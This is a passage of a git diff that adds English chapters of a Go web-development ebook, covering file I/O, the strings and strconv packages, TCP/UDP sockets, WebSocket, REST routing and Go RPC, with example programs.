to file. + +- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) + + Write byte type content to certain position of file. + +- func (file *File) WriteString(s string) (ret int, err Error) + + Write string to file. + +Code sample: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + userFile := "astaxie.txt" + fout, err := os.Create(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fout.Close() + for i := 0; i < 10; i++ { + fout.WriteString("Just a test!\r\n") + fout.Write([]byte("Just a test!\r\n")) + } + } + +### Read files + +Functions for reading files: + +- func (file *File) Read(b []byte) (n int, err Error) + + Read data to `b`. + +- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) + + Read data from position `off` to `b`. + +Code sample: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + userFile := "asatxie.txt" + fl, err := os.Open(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fl.Close() + buf := make([]byte, 1024) + for { + n, _ := fl.Read(buf) + if 0 == n { + break + } + os.Stdout.Write(buf[:n]) + } + } + +### Delete files + +Go uses same function for removing files and directories: + +- func Remove(name string) Error + + Remove file or directory with `name`.( ***`name` ends with `/` means directory*** ) + +## Links + +- [Directory](preface.md) +- Previous section: [Templates](07.4.md) +- Next section: [Strings](07.6.md) \ No newline at end of file diff --git a/en/eBook/07.6.md b/en/eBook/07.6.md new file mode 100644 index 00000000..88ddeff4 --- /dev/null +++ b/en/eBook/07.6.md @@ -0,0 +1,161 @@ +# 7.6 Strings + +Almost everything we see is represented by string, so it's a very important part of web development, including user inputs, database access; also we need to split, join and convert strings in many cases. In this section, we are going to introduce packages `strings` and `strconv` in Go standard library. + +## strings + +Following functions are from package `strings`, more details please see official documentation: + +- func Contains(s, substr string) bool + + Check if string `s` contains string `substr`, returns boolean value. + + fmt.Println(strings.Contains("seafood", "foo")) + fmt.Println(strings.Contains("seafood", "bar")) + fmt.Println(strings.Contains("seafood", "")) + fmt.Println(strings.Contains("", "")) + //Output: + //true + //false + //true + //true + +- func Join(a []string, sep string) string + + Combine strings from slice with separator `sep`. + + s := []string{"foo", "bar", "baz"} + fmt.Println(strings.Join(s, ", ")) + //Output:foo, bar, baz + +- func Index(s, sep string) int + + Find index of `sep` in string `s`, returns -1 if it's not found. + + fmt.Println(strings.Index("chicken", "ken")) + fmt.Println(strings.Index("chicken", "dmr")) + //Output:4 + //-1 + +- func Repeat(s string, count int) string + + Repeat string `s` with `count` times. + + fmt.Println("ba" + strings.Repeat("na", 2)) + //Output:banana + +- func Replace(s, old, new string, n int) string + + Replace string `old` with string `new` in string `s`, `n` means replication times, if n less than 0 means replace all. + + fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) + fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) + //Output:oinky oinky oink + //moo moo moo + +- func Split(s, sep string) []string + + Split string `s` with separator `sep` into a slice. + + fmt.Printf("%q\n", strings.Split("a,b,c", ",")) + fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) + fmt.Printf("%q\n", strings.Split(" xyz ", "")) + fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) + //Output:["a" "b" "c"] + //["" "man " "plan " "canal panama"] + //[" " "x" "y" "z" " "] + //[""] + +- func Trim(s string, cutset string) string + + Remove `cutset` of string `s` if it's leftmost or rightmost. + + fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) + Output:["Achtung"] + +- func Fields(s string) []string + + Remove space items and split string with space in to a slice. + + fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) + //Output:Fields are: ["foo" "bar" "baz"] + + +## strconv + +Following functions are from package `strconv`, more details please see official documentation: + +- Append series convert data to string and append to current byte slice. + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + str := make([]byte, 0, 100) + str = strconv.AppendInt(str, 4567, 10) + str = strconv.AppendBool(str, false) + str = strconv.AppendQuote(str, "abcdefg") + str = strconv.AppendQuoteRune(str, '单') + fmt.Println(string(str)) + } + +- Format series convert other type data to string. + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + a := strconv.FormatBool(false) + b := strconv.FormatFloat(123.23, 'g', 12, 64) + c := strconv.FormatInt(1234, 10) + d := strconv.FormatUint(12345, 10) + e := strconv.Itoa(1023) + fmt.Println(a, b, c, d, e) + } + +- Parse series convert string to other types. + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + a, err := strconv.ParseBool("false") + if err != nil { + fmt.Println(err) + } + b, err := strconv.ParseFloat("123.23", 64) + if err != nil { + fmt.Println(err) + } + c, err := strconv.ParseInt("1234", 10, 64) + if err != nil { + fmt.Println(err) + } + d, err := strconv.ParseUint("12345", 10, 64) + if err != nil { + fmt.Println(err) + } + e, err := strconv.Itoa("1023") + if err != nil { + fmt.Println(err) + } + fmt.Println(a, b, c, d, e) + } + +## Links + +- [Directory](preface.md) +- Previous section: [Files](07.5.md) +- Next section: [Summary](07.7.md) \ No newline at end of file diff --git a/en/eBook/07.7.md b/en/eBook/07.7.md new file mode 100644 index 00000000..ddbcfc8f --- /dev/null +++ b/en/eBook/07.7.md @@ -0,0 +1,9 @@ +# 7.7 Summary + +In this chapter, we introduced some text process tools like XML, JSON, Regexp and template. XML and JSON are data exchange tools, if you can represent almost all kinds of information though these two formats. Regexp is a powerful tool for searching, replacing, cutting text content. With template, you can easily combine dynamic data with static files. These tools are all useful when you develop web application, I hope you understand more about processing and showing content. + +## Links + +- [Directory](preface.md) +- Previous section: [Strings](07.6.md) +- Next chapter: [Web services](08.0.md) \ No newline at end of file diff --git a/en/eBook/08.0.md b/en/eBook/08.0.md new file mode 100644 index 00000000..486844be --- /dev/null +++ b/en/eBook/08.0.md @@ -0,0 +1,18 @@ +# 8 Web services + +Web services allows you use formats like XML or JSON to exchange information through HTTP. For example you want to know weather of Shanghai tomorrow, share price of Apple, or commodity information in Amazon, you can write a piece of code to get information from open platforms, just like you call a local function and get its return value. + +The key point is that web services are platform independence, it allows you deploy your applications in Linux and interactive with ASP.NET applications in Windows; same thing, there is no problem of interacting with JSP in FreeBSD as well. + +REST and SOAP are most popular web services in these days: + +- Requests of REST is pretty straight forward because it's based on HTTP. Every request of REST is actually a HTTP request, and server handle request by different logic methods. Because many developers know HTTP much already, REST is like in their back pockets. We are going to tell you how to implement REST in Go in section 8.3. +- SOAP a standard of across network information transmission and remote computer function calls, which is launched by W3C. The problem of SOAP is that its specification is very long and complicated, and it's still getting larger. Go believes that things should be simple, so we're not going to talk about SOAP. Fortunately, Go provides RPC which has good performance and easy to develop, so we will introduce how to implement RPC in Go in section 8.4. + +Go is the C language of 21st century, we aspire simple and performance, then we will introduce socket programming in Go in section 8.1 because many game servers are using Socket due to low performance of HTTP. Along with rapid development of HTML5, websockets are used by many page game companies, and we will talk about this more in section 8.2. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 7 Summary](07.7.md) +- Next section: [Sockets](08.1.md) \ No newline at end of file diff --git a/en/eBook/08.1.md b/en/eBook/08.1.md new file mode 100644 index 00000000..00b7e4d7 --- /dev/null +++ b/en/eBook/08.1.md @@ -0,0 +1,411 @@ +# 8.1 Sockets + +Some network application developers says that lower layer is all about programming of sockets, it's may not true in all points, but many applications are using sockets indeed. How you ever think about these questions, how browsers communicate with web servers when you are surfing on the internet? How MSN connects you and your friends? Many services like these are using sockets to transfer data, so sockets occupy an important position in network programming today, and we're going to use sockets in Go in this section. + +## What is socket? + +Socket is from Unix, and "everything is a file" is the basic philosophy of Unix, so everything can be operated with "open -> write/read -> close". Socket is one implementation of this philosophy, network socket is a special I/O, and socket is a kind of file descriptor. Socket has a function call for opening a socket like a file, it returns a int descriptor of socket, and it will be used in following operations like create connection, transfer data, etc. + +Here are two types of sockets that are commonly used: stream socket(SOCK_STREAM) and datagram socket(SOCK_DGRAM). Stream socket is connection-oriented, like TCP; datagram socket does not have connection, like UDP. + +## Socket communication + +Before we understand how sockets communicate each other, we need to figure out how to make sure that every socket is unique, otherwise communication is out of question. We can give every process a PID in local, but it's not able to work in network. Fortunately, TCP/IP helps us this solve this problem. IP address of network layer is unique in network of hosts, and "protocol + port" is unique of applications in hosts, then we can use this principle to make sockets be unique. + +![](images/8.1.socket.png?raw=true) + +Figure 8.1 network protocol layers + +Applications that are based on TCP/IP are using APIs of sockets for programming, and network becomes big part of our lives, that's why some people say that "everything is about socket". + +## Socket basic knowledge + +We know that socket has two types which are TCP socket and UDP socket, TCP and UDP are protocols, and we also need IP address and port to have unique sockets. + +### IPv4 + +Global internet uses TCP/IP as its protocol, where IP is the network layer and core part of TCP/IP. IPv4 means its version is 4, development to date has spent over 30 years. + +The bit number of IPv4 address is 32, which means 2^32 devices are able to connect internet. Due to rapid develop of internet, IP addresses are almost out of stock in recent years. + +Address format:`127.0.0.1`, `172.122.121.111`. + +### IPv6 + +IPv6 is the next version or next generation of internet, it's being made for solving problems of implementing IPv4. Its address has 128 bit long, so we don't need to worry about shortage of addresses, for example, you can have more than 1000 IP addresses for every square meter on the earth with IPv6. Other problems like peer to peer connection, service quality(QoS), security, multiple broadcast, etc are also be improved. + +Address format: `2002:c0e8:82e7:0:0:0:c0e8:82e7`. + +### IP types in Go + +Package `net` in Go provides many types, functions and methods for network programming, the definition of IP as follows: + + type IP []byte + +Functions `ParseIP(s string) IP` is for converting IP format from IPv4 to IPv6: + + package main + import ( + "net" + "os" + "fmt" + ) + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) + os.Exit(1) + } + name := os.Args[1] + addr := net.ParseIP(name) + if addr == nil { + fmt.Println("Invalid address") + } else { + fmt.Println("The address is ", addr.String()) + } + os.Exit(0) + } + +It returns corresponding IP format for given IP address. + +## TCP socket + +What we can do when we know how to visit a web service through a network port? As a client, we can send a request to appointed network port, and gets its feedback; as a server, we need to bind a service to appointed network port, wait for clients' requests and gives them feedback. + +In package `net`, it has a type called `TCPConn` for this kind of clients and servers, this type has two key functions: + + func (c *TCPConn) Write(b []byte) (n int, err os.Error) + func (c *TCPConn) Read(b []byte) (n int, err os.Error) + +`TCPConn` can be used as either client or server for reading and writing data. + +We also need a `TCPAddr` to represent TCP address information: + + type TCPAddr struct { + IP IP + Port int + } + +We use function `ResolveTCPAddr` to get a `TCPAddr` in Go: + + func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) + +- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", where are TCP(IPv4-only), TCP(IPv6-only) or TCP(IPv4 or IPv6). +- `addr` can be domain name or IP address, like "www.google.com:80" or "127.0.0.1:22". + +### TCP client + +Go uses function `DialTCP` in package `net` to create a TCP connection, and returns a `TCPConn` object; after connection created, server has a same type connection object for this connection, and exchange data with each other. In general, clients send requests to server through `TCPConn` and get servers respond information; servers read and parse clients requests, then return feedback. This connection will not be invalid until one side close it. The function of creating connection as follows: + + func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) + +- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", where are TCP(IPv4-only), TCP(IPv6-only) or TCP(IPv4 or IPv6). +- `laddr` represents local address, set it to `nil` in most of cases. +- `raddr` represents remote address. + +Let's write a simple example to simulate a client request to connect a web server based on HTTP. We need a simple HTTP request header: + + "HEAD / HTTP/1.0\r\n\r\n" + +Server respond information format may like follows: + + HTTP/1.0 200 OK + ETag: "-9985996" + Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT + Content-Length: 18074 + Connection: close + Date: Sat, 28 Aug 2010 00:43:48 GMT + Server: lighttpd/1.4.23 + +Client code: + + package main + + import ( + "fmt" + "io/ioutil" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + conn, err := net.DialTCP("tcp", nil, tcpAddr) + checkError(err) + _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) + checkError(err) + result, err := ioutil.ReadAll(conn) + checkError(err) + fmt.Println(string(result)) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +In above example, we use user input as argument `service` and pass to `net.ResolveTCPAddr` to get a `tcpAddr`, then we pass `tcpAddr` to function `DialTCP` to create a TCP connection `conn`, then use `conn` to send request information. Finally, use `ioutil.ReadAll` to read all content from `conn`, which is server feedback. + +### TCP server + +We have a TCP client now, and we also can use package `net` to write a TCP server. In server side, we need to bind service to specific inactive port, and listen to this port, so it's able to receive client requests. + + func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error) + func (l *TCPListener) Accept() (c Conn, err os.Error) + +Arguments are the same as `DialTCP`, let's implement a time sync service, port is 7777: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":7777" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + conn.Close() // we're finished with this client + } + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +After the service started, it is waiting for clients requests. When it gets client requests, `Accept` and gives feedback of current time information. It's worth noting that when error occurs in `for` loop, it continue running instead of exiting because record error log in server is better than crash, which makes service be stable. + +The above code is not good enough because we didn't use goroutine to accept multiple request as same time. Let's make it better: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + defer conn.Close() + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + // we're finished with this client + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +Through the separation of business process to the function `handleClient`, we implemented concurrency for our service. Simply add `go` keyword to implement concurrency, it's one of reasons that goroutine is simple and powerful. + +Some people may ask: this server does not do anything meaningful, what if we need to send multiple requests for different time format in one connection, how can we do that? + + package main + + import ( + "fmt" + "net" + "os" + "time" + "strconv" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout + request := make([]byte, 128) // set maxium request length to 128KB to prevent flood attack + defer conn.Close() // close connection before exit + for { + read_len, err := conn.Read(request) + + if err != nil { + fmt.Println(err) + break + } + + if read_len == 0 { + break // connection already closed by client + } else if string(request) == "timestamp" { + daytime := strconv.FormatInt(time.Now().Unix(), 10) + conn.Write([]byte(daytime)) + } else { + daytime := time.Now().String() + conn.Write([]byte(daytime)) + } + + request = make([]byte, 128) // clear last read content + } + } + + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +In this example, we use `conn.Read()` to constantly read client requests, and we cannot close connection because client may have more requests. Due to timeout of `conn.SetReadDeadline()`, it closes automatically when client has not request sent in a period of time, so it jumps of code block of `for` loop. Notice that `request` need to create max size limitation in order to prevent flood attack; clean resource after processed every request because `conn.Read()` append new content instead of rewriting. + +### Control TCP connections + +Control functions of TCP: + + func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) + +Setting timeout of connections, it's suitable for clients and servers: + + func (c *TCPConn) SetReadDeadline(t time.Time) error + func (c *TCPConn) SetWriteDeadline(t time.Time) error + +Setting timeout of write/read of one connection: + + func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error + +It's worth to consider whether keep long connection between client and server, long connection can reduce overhead of creating connections, it's good for applications that need to exchange data frequently. + +More information please loop up official documentation of package `net`. + +## UDP socket + +The only different between UDP socket and TCP socket is processing method for multiple requests in server side, it's because UDP does not have function like `Accept`. Other functions just replace `TCP` with `UDP`. + + func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) + func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) + func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) + func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error + func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) + +UDP client code sample: + + package main + + import ( + "fmt" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.DialUDP("udp", nil, udpAddr) + checkError(err) + _, err = conn.Write([]byte("anything")) + checkError(err) + var buf [512]byte + n, err := conn.Read(buf[0:]) + checkError(err) + fmt.Println(string(buf[0:n])) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +UDP server code sample: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.ListenUDP("udp", udpAddr) + checkError(err) + for { + handleClient(conn) + } + } + func handleClient(conn *net.UDPConn) { + var buf [512]byte + _, addr, err := conn.ReadFromUDP(buf[0:]) + if err != nil { + return + } + daytime := time.Now().String() + conn.WriteToUDP([]byte(daytime), addr) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +## Summary + +Through description and programming of TCP and UDP sockets, we can see that Go has very good support for socket programming, and they are easy to use. Go also provides many functions for building high performance socket applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Web services](08.0.md) +- Next section: [WebSocket](08.2.md) diff --git a/en/eBook/08.2.md b/en/eBook/08.2.md new file mode 100644 index 00000000..6399db10 --- /dev/null +++ b/en/eBook/08.2.md @@ -0,0 +1,159 @@ +# 8.2 WebSocket + +WebSocket is an important feature of HTML5, it implemented remote socket based on browsers, which allows browsers have full-duplex communication with servers. Main stream browsers like Firefox, Google Chrome and Safari have supported this feature. + +People often use "roll poling" for instant message services before WebSocket was born, which let clients send HTTP requests in every certain period, then server returns latest data to clients. This requires clients to keep sending a lot of requests and take up a large number of bandwidth. + +WebSocket uses a kind of special header to reduce handshake action between browsers and servers to only once, and create a connection. This connection will remain active, you can use JavaScript to write or read data from this the connection, as in the use of a conventional TCP socket. It solves the problem of web real-time development, and has following advantages over traditional HTTP: + +- Only one TCP connection for a singe web client. +- WebSocket servers can push data to web clients. +- More lightweight header to reduce data transmission. + +WebSocket URL starts with ws:// or wss://(SSL). The following picture shows the communication process of WebSocket, where a particular HTTP header was sent to server for handshake, then servers or clients are able to send or receive data through JavaScript according to some kind of socket, this socket can be used by the event handler to receive data asynchronously. + +![](images/8.2.websocket.png?raw=true) + +Figure 8.2 WebSocket principle. + +## WebSocket principle + +WebSocket protocol is quite simple, after the adoption of the first handshake, the connection is established successfully. Subsequent communication data are all begin with "\x00" and ends with "\xFF". Clients will not see these two parts because WebSocket will break off both ends and gives raw data automatically. + +WebSocket connection are requested by browsers and responded by servers, then the connection is established, this process is often called "handshake". + +Consider the following requests and feedback: + +![](images/8.2.websocket2.png?raw=true) + +Figure 8.3 WebSocket request and response. + +"Sec-WebSocket-key" is generated randomly, as you may guess, this is encoded by base64. Servers need to append this key to a fixed string after accepted: + + 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +Suppose we have `f7cb4ezEAl6C3wRaU6JORA==`, then we have: + + f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +Use sha1 to compute binary value and use base64 to encode it, then we have: + + rE91AJhfC+6JdVcVXOGJEADEJdQ= + +Use this as value of `Sec-WebSocket-Accept` for respond header. + +## WebSocket in Go + +Go standard library does not support WebSocket, but package `websocket`, which is the sub-package of `go.net` and maintained by official support it. + +Use `go get` to install this package: + + go get code.google.com/p/go.net/websocket + +WebSocket has client and server sides, let's see a simple example: user input information, client sends content to server through WebSocket; server pushes information back up client. + +Client code: + + + + + +

WebSocket Echo Test

+
+

+ Message: +

+
+ + + + +As you can see, JavaScript is very easy to write in client side, and use corresponding function establish a connection. Event `onopen` triggered after handshake to tell client that connection was created successfully. Client bindings four events: + +- 1)onopen: triggered after connection was established. +- 2)onmessage: triggered after received message. +- 3)onerror: triggered after error occurred. +- 4)onclose: triggered after connection closed. + +Server code: + + package main + + import ( + "code.google.com/p/go.net/websocket" + "fmt" + "log" + "net/http" + ) + + func Echo(ws *websocket.Conn) { + var err error + + for { + var reply string + + if err = websocket.Message.Receive(ws, &reply); err != nil { + fmt.Println("Can't receive") + break + } + + fmt.Println("Received back from client: " + reply) + + msg := "Received: " + reply + fmt.Println("Sending to client: " + msg) + + if err = websocket.Message.Send(ws, msg); err != nil { + fmt.Println("Can't send") + break + } + } + } + + func main() { + http.Handle("/", websocket.Handler(Echo)) + + if err := http.ListenAndServe(":1234", nil); err != nil { + log.Fatal("ListenAndServe:", err) + } + } + +When client `Send` user input information, server `Receive` it, and use `Send` to return feedback. + +![](images/8.2.websocket3.png?raw=true) + +Figure 8.4 WebSocket server received information. + +Through the example above we see that the client and server side implementation of WebSocket are very convenient. We can use package `net` directly in Go. Now with rapid develop of HTML5, I think WebSocket will be much more important in web development, we need to reserve this knowledge. + +## Links + +- [Directory](preface.md) +- Previous section: [Sockets](08.1.md) +- Next section: [REST](08.3.md) diff --git a/en/eBook/08.3.md b/en/eBook/08.3.md new file mode 100644 index 00000000..801d119e --- /dev/null +++ b/en/eBook/08.3.md @@ -0,0 +1,116 @@ +# 8.3 REST + +RESTful is the most popular software architecture on the internet today, due to its clear, strict standard, easy to understand and expand, more and more websites are based on it. In this section, we are going to know what it really is and how to use this architecture in Go. + +## What is REST? + +The first declaration of the concept of REST(REpresentational State Transfer) was in 2000 in Roy Thomas Fielding's doctoral dissertation, who is the co-founder of HTTP. It's a architecture constraints and principles, anything implemented this architecture we call them RESTful. + +Before we understand what is REST, we need to cover following concepts: + +- Resources + + REST is the Presentation Layer State Transfer, where presentation layer is actually resource presentation layer. + + So what are resources? A picture, a document or a video, etc. These can all be resources and located by URI. + +- Representation + + Resources are specific entity information, it can be showed with variety of ways in presentation layer. For instances, a TXT document can be represented as HTML, JSON, XML, etc; a image can be represented as jpg, png, etc. + + Use URI to identify a resource, but how to determine its specific manifestations of it? You should use Accept and Content-Type in HTTP request header, these two fields are the description of presentation layer. + +- State Transfer + + An interactive process happens between client and server when you visit a website. In this process, certain data related to the state change should be saved; however, HTTP is stateless, so we need to save these data on the server side. Therefore, if the client wants to change the data and inform the server-side state changes, it has to use some way to tell server. + + Most of time, the client informs server through HTTP. Specifically, it has four operations: GET, POST, PUT, DELETE, where GET to obtain resources, POST to create or update resources, PUT to update resources and DELETE to delete resources. + +In conclusion of above explanations: + +- (1)Every URI reresented a kind of resource. +- (2)A representation layer for transferring resources between clients and servers. +- (3)Clients use four operation of HTTP to operation resources to implement "Presentation Layer State Transfer". + +The most important principle of web applications that implement REST is that interactive between clients and servers are stateless, and every request should include all needed information. If the server restart at anytime, clients should not get notification. In addition, requests can be responded by any server of same service, which is good for cloud computing. What's more, because it's stateless, clients can cache data for performance improvement. + +Another important principle of REST is system delamination, which means components have no way to have direct interaction with components in other layers. This can limit system complexity and improve the independence of the underlying. + +![](images/8.3.rest2.png?raw=true) + +Figure 8.5 REST architecture + +When the constraint condition of REST apply to the whole application, it can be extended to have huge amounts of clients. It also reduced interactive delay between clients and servers, simplified system architecture, improved visibility of sub-systems interaction. + +![](images/8.3.rest.png?raw=true) + +Figure 8.6 REST's expansibility. + +## RESTful implementation + +Go doesn't have direct support for REST, but because RESTful is HTTP-based, so we can use package `net/http` to achieve them own. Of course we have to do some modification in order to implement REST. REST uses different methods to handle corresponding resources, many existed applications are claiming to be RESTful, in fact, they didn't not really realize REST. I'm going to put these applications into several levels depends on the implementation of methods. + +![](images/8.3.rest3.png?raw=true) + +Figure 8.7 REST's level. + +Above picture shows three levels that are implemented in current REST, we may not follow all the rules of REST when we develop our applications because sometimes its rules are not fit for all possible situations. RESTful uses every single HTTP method including `DELETE` and `PUT`, but in many cases, HTTP clients can only send `GET` and `POST` requests. + +- HTML standard allows clients send `GET` and `POST` requests through links and forms, it's not possible to send `PUT` or `DELETE` requests without AJAX support. +- Some firewalls intercept `PUT` and `DELETE` requests, clients have to use POST in order to implement them. RESTful services in charge of finding original HTTP methods and restore them. + +We now can simulate `PUT` and `DELETE` by adding hidden field `_method` in POST requests, but you have to convert in your servers before processing them. My applications are using this way to implement REST interfaces; sure you can easily implement standard RESTful in Go as following example: + + package main + + import ( + "fmt" + "github.com/drone/routes" + "net/http" + ) + + func getuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are get user %s", uid) + } + + func modifyuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are modify user %s", uid) + } + + func deleteuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are delete user %s", uid) + } + + func adduser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprint(w, "you are add user %s", uid) + } + + func main() { + mux := routes.New() + mux.Get("/user/:uid", getuser) + mux.Post("/user/:uid", modifyuser) + mux.Del("/user/:uid", deleteuser) + mux.Put("/user/", adduser) + http.Handle("/", mux) + http.ListenAndServe(":8088", nil) + } + +This sample shows you have to write a REST application. Our resources are users, and we use different functions for different methods. Here we imported a third-party package `github.com/drone/routes`, we talked about how to implement customized router in previous chapters; this package implemented very convenient router mapping rules, and it's good for implementing REST architecture. As you can see, REST requires you have different logic process for different methods of same resources. + +## Summary + +REST is a kind of architecture style, it learnt successful experiences from WWW: stateless, centered on resources, fully used HTTP and URI protocols, provides unified interfaces. These superiority let REST become more popular web services standard. In a sense, by emphasizing the URI and the early Internet standards such as HTTP, REST is a large application Web-server era before the return. Currently Go For REST support is still very simple, by implementing a custom routing rules, we can think that a different method to achieve different handle, thus achieving a REST architecture. + +## Links + +- [Directory](preface.md) +- Previous section: [WebSocket](08.2.md) +- Next section: [RPC](08.4.md) diff --git a/en/eBook/08.4.md b/en/eBook/08.4.md new file mode 100644 index 00000000..9e252905 --- /dev/null +++ b/en/eBook/08.4.md @@ -0,0 +1,400 @@ +# 8.4 RPC + +In previous sections we talked about how to write network applications based on Sockets and HTTP, we learned that both of them are using "information exchange" model, which clients send requests and servers response. This kind of data exchange are based on certain format so both sides are able to understand. However, many independence applications do not use this model, but call services just like call normal functions. + +RPC was intended to achieve the function call mode networking. Clients like calling native functions, and then packaged these parameters after passing through the network to the server, the server unpacked process execution, and executes the results back to the client. + +In computer science, a remote procedure call (RPC) is an inter-process communication that allows a computer program to cause a subroutine or procedure to execute in another address space (commonly on another computer on a shared network) without the programmer explicitly coding the details for this remote interaction. That is, the programmer writes essentially the same code whether the subroutine is local to the executing program, or remote. When the software in question uses object-oriented principles, RPC is called remote invocation or remote method invocation. + +## RPC working principle + +![](images/8.4.rpc.png?raw=true) + +Figure 8.8 RPC working principle. + +Normally, a RPC call from the client to the server has following ten steps: + +- 1. Call the client handle, execute transfer arguments. +- 2. Call local system kernel to send network messages. +- 3. Send messages to remote hosts. +- 4. The server receives handle and arguments. +- 5. Execute remote processes. +- 6. Return execute result to corresponding handle. +- 7. The server handle calls remote system kernel. +- 8. Messages sent back to local system kernel. +- 9. The client handle receives messages from system kernel. +- 10. The client gets results from corresponding handle. + +## Go RPC + +Go has official support for RPC in standard library with three levels which are TCP, HTTP and JSON RPC. Note that Go RPC is not like other traditional RPC systems, it requires you to use Go applications on both sides of clients and servers because it encodes content through Gob. + +Functions of Go RPC have to follow following rules for remote access, otherwise corresponding calls will be ignored. + +- Functions are exported(capitalize). +- Functions have to have two arguments with exported types. +- The first argument is for receiving from the client, and the second one has to be pointer type and is for replying to the client. +- Functions have to have a return value of error type. + +For example: + + func (t *T) MethodName(argType T1, replyType *T2) error + +Where T, T1 and T2 must be able to encoded by package `encoding/gob`. + +Any kind of RPC have to through network to transfer data, Go RPC can either use HTTP or TCP, the benefits of using HTTP is that you can reuse some function in package `net/http`. + +### HTTP RPC + +HTTP server side code: + + package main + + import ( + "errors" + "fmt" + "net/http" + "net/rpc" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + rpc.HandleHTTP() + + err := http.ListenAndServe(":1234", nil) + if err != nil { + fmt.Println(err.Error()) + } + } + +We registered a RPC service of Arith, then registered this service on HTTP through `rpc.HandleHTTP`. After that, we are able to transfer data through HTTP. + +Client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type 